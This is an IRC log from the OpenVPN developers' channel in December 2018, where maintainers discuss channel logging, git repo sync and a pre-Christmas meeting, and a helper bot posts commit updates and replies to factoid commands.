on build.openvpn.in 08:15 <@mattock1> I need to continue this later, no more time today 08:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 11:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:03 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] --- Day changed Tue Dec 18 2018 00:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:04 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:19 <@mattock1> do we log this channel somewhere? 02:20 <@mattock1> like a webpage with all the discussion 02:20 <@ordex> i don't think so 02:20 <@ordex> but maybe vpnHelper does 02:20 <@ordex> ? 02:20 <@mattock1> ecrist _has_ something running in the past, but not sure if that setup has died 02:20 <@mattock1> had 02:21 <@ordex> oh ok 02:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 03:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:13 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 05:51 <@cron2> dazo: your push-all remote list needs to include mattock's repo 05:51 * cron2 just fetch-all'ed and all but mattock is at f57431cd, while mattock is at e61b401a 05:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:57 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:58 <@dazo> cron2: ahh, need to double check that ... thx! 06:45 <@mattock1> meeting tomorrow, anyone? 06:45 <@mattock1> pre-Christmas meeting it would be 07:17 <@cron2> I'm around 07:33 <@mattock1> anyone else? 07:50 <@plaisthos> me 07:53 <@vpnHelper> RSS Update - gitrepo: Add 'printing of port number' to mroute_addr_print_ex() for v4-mapped… <https://github.com/OpenVPN/openvpn/commit/4543b13b8540836f6faf67a03b5358bb8bb94a4a> 07:55 <@mattock1> ok 07:55 <@mattock1> let me setup a meeting 08:18 <@ecrist> !logs 08:18 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5, or (#2) In Tunnelblick, right-click and select copy to copy log text to clipboard. 08:19 <@ecrist> !irclogs 08:19 <@vpnHelper> "irclogs" is Channel logs are available at http://secure-computing.net/logs/openvpn.txt and are updated in real-time while ecrist is online. 08:19 <@ecrist> oof, that's a file 08:19 <@ecrist> mattock1: I'll make sure it's right/up to date